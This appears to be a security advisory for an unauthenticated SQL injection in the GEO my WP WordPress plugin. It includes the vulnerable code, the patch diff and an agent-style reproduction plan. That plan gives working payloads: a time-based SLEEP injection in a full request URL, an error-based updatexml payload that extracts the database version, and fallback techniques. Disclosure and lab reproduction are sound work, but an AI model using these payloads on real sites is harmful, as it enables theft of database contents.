GEO my WP <= 4.5.5 - Unauthenticated SQL Injection via 'swlatlng' / 'nelatlng' Parameters
Description
The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST/$_GET/$_COOKIE/$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form="results" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.5.5.1
Source Code
WordPress.org SVNThis research plan outlines the steps required to exploit a SQL Injection vulnerability in the **GEO my WP** plugin (CVE-2026-9757). ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Location:** `gmw_get_locations_within_boundaries_sql()` (inferred). * **Cau…
Show full research plan
This research plan outlines the steps required to exploit a SQL Injection vulnerability in the GEO my WP plugin (CVE-2026-9757).
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection.
- Location:
gmw_get_locations_within_boundaries_sql()(inferred). - Cause: The plugin extracts parameters
swlatlngandnelatlngfrom$_SERVER['QUERY_STRING']usingparse_str(). This bypasses WordPress's globalwp_magic_quotes(which only affects$_GET,$_POST, etc.). The values are thenexplodedby a comma and interpolated directly into a SQLBETWEENclause without any type casting (float), validation (is_numeric), or parameterization ($wpdb->prepare). - Impact: Unauthenticated attackers can extract sensitive data from the database via time-based or union-based SQL injection.
2. Attack Vector Analysis
- Endpoint: Any public page containing the
[gmw form="results" form_id=N]shortcode. - Hook: Triggered during a location-based search or map boundary update.
- HTTP Parameter:
swlatlng(andnelatlng) passed via the URL query string. - Authentication: None (Unauthenticated).
- Preconditions:
- A "Posts Locator" form must be configured.
- A page must exist with the results shortcode.
- At least one post must have a location associated with it in the
wp_gmw_locationstable.
3. Code Flow
- Request: A GET request is sent to a page with the GMW shortcode, containing
swlatlngin the query string. - Processing: The plugin identifies the search parameters.
- Bypass: It uses
parse_str( $_SERVER['QUERY_STRING'], $query_args ). Because it uses the raw$_SERVERvariable, WordPress has not escaped any single quotes or backslashes. - Parsing:
explode( ',', $query_args['swlatlng'] )splits the string into latitude and longitude fragments. - Sink: The fragments are placed into a string-interpolated SQL query:
$sql = " ... lat BETWEEN {$sw[0]} AND {$ne[0]} ... "; - Execution:
$wpdb->get_results( $sql )executes the malicious query.
4. Nonce Acquisition Strategy
While the vulnerability resides in the query processing, GMW often requires a nonce for AJAX-based map updates or search submissions.
- Shortcode Placement: Create a page with the Posts Locator shortcode:
wp post create --post_type=page --post_status=publish --post_content='[gmw form="results" form_id=1]' - Navigation: Navigate to this page using
browser_navigate. - Extraction: GMW typically localizes variables for its JavaScript components. Use
browser_evalto extract the nonce and form settings:- Variable Name:
window.gmwVarsorwindow.gmw_form_settings. - Logic:
browser_eval("window.gmwVars?.ajax_nonce || window.gmw_form_settings?.[1]?.nonce"). - Note: The form ID (e.g.,
1) is usually the key in the settings object.
- Variable Name:
5. Exploitation Strategy
Payload Selection:
Since the input is interpolated into a BETWEEN clause without quotes, we can use a time-based payload to confirm the vulnerability.
Target Payload (for swlatlng):1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2
HTTP Request (via http_request):
- Method:
GET - URL:
http://localhost:8080/{page-with-shortcode}/?gmw_v=1.0&gmw=post_types_locator&action=gmw_ajax_get_locations&swlatlng=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-,2&nelatlng=45,45 - Headers:
Content-Type: application/x-www-form-urlencoded
Steps:
- Baseline Request: Measure the time for a normal request with
swlatlng=1,1&nelatlng=45,45. - Attack Request: Send the request with the
SLEEP(5)payload. - Observation: If the response time is significantly > 5 seconds, SQLi is confirmed.
6. Test Data Setup
To ensure the code path reaches the SQL sink, GMW must find "something" to query.
- Activate Plugin:
wp plugin activate geo-my-wp. - Create Post:
wp post create --post_title="Location Test" --post_status="publish" --post_type="post"(Assume ID is 123). - Insert GMW Location:
wp db query "INSERT INTO wp_gmw_locations (object_id, object_type, lat, lng, status) VALUES (123, 'post', 10.0, 10.0, 1)" - Create GMW Form: GMW stores forms in the
gmw_formsoption. A default form must exist. If not, use:wp option update gmw_forms '{"1":{"ID":1,"slug":"posts_locator","addon":"posts_locator","form_type":"posts_locator","name":"Test Form"}}'(simplified).
7. Expected Results
- The baseline request should return a standard JSON response (e.g.,
[]or location data) quickly (< 500ms). - The attack request should stall for at least 5 seconds before returning a response.
8. Verification Steps
- Database Confirmation: After the exploit, verify the query that was executed by checking the MySQL general log (if enabled) or using
wp db queryto verify the structure of thewp_gmw_locationstable to ensure column names match expectations. - Data Extraction: To demonstrate impact, use an error-based payload to extract the database version:
swlatlng=1) AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -,2
The response should contain a SQL error message leaking the version.
9. Alternative Approaches
If the $_SERVER['QUERY_STRING'] bypass is blocked by a WAF or server configuration:
- Parameter Polling: Test if the payload can be delivered via
$_GET['swlatlng']directly, although theparse_strdescription suggests the raw string is the intended target. - Blind Boolean: If
SLEEP()is disabled, useIF(1=1, lat, lng)to change the results returned and verify via the "success" vs "no results" response. - Form ID Brute Force: If form ID
1doesn't exist, enumerateform_idfrom 1-10.
Summary
The GEO my WP plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'swlatlng' and 'nelatlng' parameters in versions up to 4.5.5. These parameters are parsed from the raw query string and interpolated directly into a SQL BETWEEN clause in the gmw_get_locations_within_boundaries_sql() function without proper validation, casting, or parameterization.
Vulnerable Code
// includes/gmw-functions.php (around line 665 in version 4.5.5) function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) { if ( empty( $southwest ) || empty( $northeast ) ) { return; } $sw = explode( ',', $southwest ); $ne = explode( ',', $northeast ); return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} ) OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )"; }
Security Fix
@@ -523,6 +523,14 @@ if ( isset( $output['address'] ) && ! is_array( $output['address'] ) ) { $output['address'] = urldecode( $output['address'] ); } + + if ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) { + unset( $output['swlatlng'] ); + } + + if ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) { + unset( $output['nelatlng'] ); + } } if ( ! empty( $output['sortby'] ) ) { @@ -533,6 +541,43 @@ } /** + * Parse and validate a comma separated lat,lng pair. + * + * @param string $boundary comma separated lat,lng value. + * + * @return array|false + */ +function gmw_parse_latlng_boundary( $boundary = '' ) { + + if ( ! is_string( $boundary ) || '' === $boundary ) { + return false; + } + + $coords = array_map( 'trim', explode( ',', $boundary ) ); + + if ( 2 !== count( $coords ) ) { + return false; + } + + if ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) { + return false; + } + + $lat = (float) $coords[0]; + $lng = (float) $coords[1]; + + if ( ! is_finite( $lat ) || ! is_finite( $lng ) ) { + return false; + } + + if ( abs( $lat ) > 90 || abs( $lng ) > 180 ) { + return false; + } + + return array( $lat, $lng ); +} + +/** * GMW Function - Covert object to array. * * @param array $data the array to convert. @@ -672,11 +717,29 @@ return; } - $sw = explode( ',', $southwest ); - $ne = explode( ',', $northeast ); + $sw = gmw_parse_latlng_boundary( $southwest ); + $ne = gmw_parse_latlng_boundary( $northeast ); + + if ( false === $sw || false === $ne ) { + return ''; + } + + global $wpdb; - return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} ) - OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )"; + return $wpdb->prepare( + ' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f < %f AND gmw_locations.longitude BETWEEN %f AND %f ) + OR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )', + $sw[0], + $ne[0], + $sw[1], + $ne[1], + $sw[1], + $ne[1], + $sw[1], + $ne[1], + $sw[1], + $ne[1] + );
Exploit Outline
The exploit targets pages where the [gmw form="results"] shortcode is present. An unauthenticated attacker sends a GET request containing a malicious payload in the 'swlatlng' parameter (e.g., '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2'). The plugin extracts this value from the raw $_SERVER['QUERY_STRING'] using parse_str(), which bypasses WordPress's automatic character escaping. The payload is then exploded by commas and the segments are interpolated directly into a SQL query, allowing for time-based or error-based data extraction from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.